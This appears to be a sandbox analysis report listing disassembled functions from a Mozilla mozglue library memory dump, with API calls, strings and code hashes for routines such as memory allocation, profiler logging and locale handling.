API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 7d4c949dabea285bf50587a76dcda4e9772f64f141caf527ad107f75c61d5f5c
Instruction ID: 6660851e99378b0d4c30721e8d3edf93bc8f4ad4c6ee17c0f62a923d33709786
Opcode Fuzzy Hash: 7d4c949dabea285bf50587a76dcda4e9772f64f141caf527ad107f75c61d5f5c
Instruction Fuzzy Hash: 0B41C37070130A8FDB04DFA5D898AAE77B5FF48314F188168E90697791EB30DC46CB61

Function 6CA5CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA231A7), ref: 6CA5CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA5CFA4, 6CA5CFB8
<jemalloc>, xrefs: 6CA5CF9F, 6CA5CFB3

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: ac83776044e67fc21439e546ee01ea0d35056c3f81b4b591adcd3970951b00e4
Instruction ID: fff1abbb5fd8440fbded71a7200e75a4cfcf60054889a916894a985510b2ed3a
Opcode Fuzzy Hash: ac83776044e67fc21439e546ee01ea0d35056c3f81b4b591adcd3970951b00e4
Instruction Fuzzy Hash: C531E73074030A6BEB04AEE99C45B6E7775BB4970CF68C114FA10ABAC4DB71D495CB91

Function 6CA2ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA2F100: LoadLibraryW.KERNEL32(shell32,?,6CA9D020), ref: 6CA2F122
Part of subcall function 6CA2F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA2F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA2ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA2EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA2EDCC
CreateFileW.KERNEL32 ref: 6CA2EE08
free.MOZGLUE(00000000), ref: 6CA2EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA2EE32

Part of subcall function 6CA2EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA2EBB5
Part of subcall function 6CA2EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA5D7F3), ref: 6CA2EBC3
Part of subcall function 6CA2EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA5D7F3), ref: 6CA2EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA2EDC1

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: c079003765b46140f0f9132828c3bdfa5db228ad84964d143da48e6e4e5db7f2
Instruction ID: 68f819405f0ac3a09448552c3d4689ef1ed5e5a8743a732714963524953027c0
Opcode Fuzzy Hash: c079003765b46140f0f9132828c3bdfa5db228ad84964d143da48e6e4e5db7f2
Instruction Fuzzy Hash: F251EF71D053259BDB00DF78D9406EEB7B0AF49319F4C852DE8556B780E738A9C8CBA2

Function 6CA9A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA9A565

Part of subcall function 6CA9A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9A4BE
Part of subcall function 6CA9A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA9A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA9A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA9A6B6

Strings

0, xrefs: 6CA9A5FB
z, xrefs: 6CA9A6AE

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: a5f3e943d748d21665a6fd3ac648a1a580c4ae2ec5d7c42bbe8eaf4b35fb926a
Instruction ID: 187c6d138eb063c0ca3371cf7b7e4102b9235133624dff23ba006f734ccf832e
Opcode Fuzzy Hash: a5f3e943d748d21665a6fd3ac648a1a580c4ae2ec5d7c42bbe8eaf4b35fb926a
Instruction Fuzzy Hash: 33413A71A197459FC341DF28C080A8FBBE5BFC9354F408A2EF49987650EB30D989CB82

Function 6CA278C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CAA008B), ref: 6CA27B89
free.MOZGLUE(?,6CAA008B), ref: 6CA27BAC

Part of subcall function 6CA278C0: free.MOZGLUE(?,6CAA008B), ref: 6CA27BCF

free.MOZGLUE(?,6CAA008B), ref: 6CA27BF2

Part of subcall function 6CA45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
Part of subcall function 6CA45E90: memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
Part of subcall function 6CA45E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 094c399b3e4571ca0bd3024725a3c4904e78d1b7cb521580749a734ac60c74e7
Instruction ID: 2a104fc88298c5ac55958509d556c09d75b53477041b40da26a3d1de978ebb14
Opcode Fuzzy Hash: 094c399b3e4571ca0bd3024725a3c4904e78d1b7cb521580749a734ac60c74e7
Instruction Fuzzy Hash: 44C18E31A011388BEB24CB68CD90B9DB772AF41318F1946A9D41AE7BC1C7399FC98F51

Function 6CA69420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
__Init_thread_footer.LIBCMT ref: 6CA6949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA6947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA69459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA6946B

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 2c2a0d0ab1015240c2b74f63211aab15f540259e50fdaadb8b5bed6302cfb977
Instruction ID: c6d63890b5a65aa163c70ec9f6da39c20f4a2ae39ee678a16649a02cd019abeb
Opcode Fuzzy Hash: 2c2a0d0ab1015240c2b74f63211aab15f540259e50fdaadb8b5bed6302cfb977
Instruction Fuzzy Hash: 3001F974A002038FD60897EEED0465A33B5EB0532DF04853AD90587E41D631D8E68A66

Function 6CA70F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA70F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA70F88
GetCurrentThreadId.KERNEL32 ref: 6CA70FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CA71067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CA710A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CA7114B

Part of subcall function 6CA68AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CA81563), ref: 6CA68BD5

free.MOZGLUE(?), ref: 6CA71174
free.MOZGLUE(?), ref: 6CA71186

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 3d96694dc48bf60dfd08157c0f57bc0583d947787b55af3882a18b63d5b73aa3
Instruction ID: 672cd4aabf1c335a1263fc80e4804e9e8b102b9ae626ccdf051b5a2ba7f853c7
Opcode Fuzzy Hash: 3d96694dc48bf60dfd08157c0f57bc0583d947787b55af3882a18b63d5b73aa3
Instruction Fuzzy Hash: E361D079A043459FDB20CF24D990BAAB7F5BFC5308F04891DE99947711EB31E889CB91

Function 6CA2B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CA2B61E,?,?,?,?,?,00000000), ref: 6CA2B6AC

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA2B61E,?,?,?,?,?,00000000), ref: 6CA2B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CA2B61E,?,?,?,?,?,00000000), ref: 6CA2B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA2B61E,?,?,?,?,?,00000000), ref: 6CA2B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CA2B61E,?,?,?,?,?,00000000), ref: 6CA2B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CA2B61E), ref: 6CA2B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CA2B61E,?,?,?,?,?,00000000), ref: 6CA2B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CA2B61E,?,?,?,?,?,00000000), ref: 6CA2B79A

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: abab5c0bd06a0ec9e3ed3956e11be614e2f3fdd4811372a7a314c8638eb16dec
Instruction ID: 74981c429c955e148bac2a698c98501dc919f179abcb3f7238ffb6538547dbee
Opcode Fuzzy Hash: abab5c0bd06a0ec9e3ed3956e11be614e2f3fdd4811372a7a314c8638eb16dec
Instruction Fuzzy Hash: F441B6B2D001259FCB04DF6DED409AFB7B5BB44324F290729E866E7780D735A94487E1

Function 6CA2EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CAA5104), ref: 6CA2EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA2EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA2EFEC
free.MOZGLUE(?), ref: 6CA2F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA2F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CA2F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA2F065
moz_xmalloc.MOZGLUE ref: 6CA2F072

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 6032549586f639333da852eacb022e733ebf4286b479983f24103e61a7bd9df1
Instruction ID: 84498bb77f763f72425fba9a81c4d622fa92cbeed557660299e02ca8537e9c69
Opcode Fuzzy Hash: 6032549586f639333da852eacb022e733ebf4286b479983f24103e61a7bd9df1
Instruction Fuzzy Hash: 2641D6B1A002259FCB18CF68DD819AFB7A5AF84318B28422CE815D7794FB31E95587E1

Function 6CA9B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CA9B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CA9B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CA9B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CA9B5F4
__Init_thread_footer.LIBCMT ref: 6CA9B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CA9B61F
std::_Facet_Register.LIBCPMT ref: 6CA9B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9B655

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9ebe1483cb1cc6c88d414182d08e0c68c4a400faa6f1828caceab0236701f407
Instruction ID: 56c6f2413cbe54993c120e3c10e9d3c89cd3790ef4b6772fa1c8186cba92eb88
Opcode Fuzzy Hash: 9ebe1483cb1cc6c88d414182d08e0c68c4a400faa6f1828caceab0236701f407
Instruction Fuzzy Hash: 3531C471B00207CBCF18DBE8E9959AEB7B5FB89329B154619D90297740DB30A847CB91

Function 6CA39830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CA87ABE), ref: 6CA3985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CA87ABE), ref: 6CA398A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CA39909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CA39918
free.MOZGLUE(?), ref: 6CA39975

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 91a307f93bd3dcac128dd52b6080771b260a05c2ae66a6986111acd3f52775e0
Instruction ID: d8ec18162f49aac88e61bb6fb3677fafd5dd76ac0d33bb33ab612485d81dc76c
Opcode Fuzzy Hash: 91a307f93bd3dcac128dd52b6080771b260a05c2ae66a6986111acd3f52775e0
Instruction Fuzzy Hash: CE71AB746007158FC724CF78C590956B7F1FF8A3287245AA9D85ACBBA0DB31F886CB50

Function 6CA3B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CA7CC83,?,?,?,?,?,?,?,?,?,6CA7BCAE,?,?,6CA6DC2C), ref: 6CA3B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CA7CC83,?,?,?,?,?,?,?,?,?,6CA7BCAE,?,?,6CA6DC2C), ref: 6CA3B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CA7CC83,?,?,?,?,?,?,?,?,?,6CA7BCAE), ref: 6CA3B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CA7CC83,?,?,?,?,?,?,?,?,?,6CA7BCAE,?,?,6CA6DC2C), ref: 6CA3B896

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: d734928f25309c9e953a64eca0a4f91e504c0e87341143697a7eb8e8b8baa37c
Instruction ID: bd48b3094ac50d958a84a2a5e4267db03be279cb4bed7620b7058770cd1eed05
Opcode Fuzzy Hash: d734928f25309c9e953a64eca0a4f91e504c0e87341143697a7eb8e8b8baa37c
Instruction Fuzzy Hash: F951AE35700A158FCB15CF58D4A8A2ABBF2FF88318B59865DE98AC7351C730EC42CB80

Function 6CA71D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA71D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CA71BE3,?,?,6CA71D96,00000000), ref: 6CA71D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CA71BE3,?,?,6CA71D96,00000000), ref: 6CA71D4C
GetCurrentThreadId.KERNEL32 ref: 6CA71DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA71DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA71DDA

Part of subcall function 6CA71EF0: GetCurrentThreadId.KERNEL32 ref: 6CA71F03
Part of subcall function 6CA71EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CA71DF2,00000000,00000000), ref: 6CA71F0C
Part of subcall function 6CA71EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA71F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CA71DF4

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: ffb9b9e6962e3715db03d3851abe43eaf173d5db17f8d5ab367cd098dd32b45f
Instruction ID: 6170e10c85d0975a4f5ed85ab28d325a820680eb9ca9ef5f6c7ca4540e18facf
Opcode Fuzzy Hash: ffb9b9e6962e3715db03d3851abe43eaf173d5db17f8d5ab367cd098dd32b45f
Instruction Fuzzy Hash: CB41ACB52003069FCB24CF68D598A5ABBF5FB49314F10852DE95A87B41DB31E854CB90

Function 6CA338A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CAAE220,?,?,?,?,6CA33899,?), ref: 6CA338B2
ReleaseSRWLockExclusive.KERNEL32(6CAAE220,?,?,?,6CA33899,?), ref: 6CA338C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CA33899,?), ref: 6CA338F1
RtlFreeHeap.NTDLL ref: 6CA33920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CA33899,?), ref: 6CA3392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CA33899,?), ref: 6CA33943
RtlFreeHeap.NTDLL ref: 6CA3396E

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 3fb33f990b96f81a493e39bc31c7b01be4bf920a9c2d2f1681c5a87e1f2eb125
Instruction ID: c80bb397d2b20016b730a0266b23fea654a50e788802fc74465dacf3324dec52
Opcode Fuzzy Hash: 3fb33f990b96f81a493e39bc31c7b01be4bf920a9c2d2f1681c5a87e1f2eb125
Instruction Fuzzy Hash: CB21F072601B20DFD7209F55D894B8AB7B4EF44728F258429D99A97B10C730E886CB90

Function 6CA684E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA684F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA6850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA6851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA6855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA6856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA685AC

Part of subcall function 6CA67670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA6767F
Part of subcall function 6CA67670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA67693
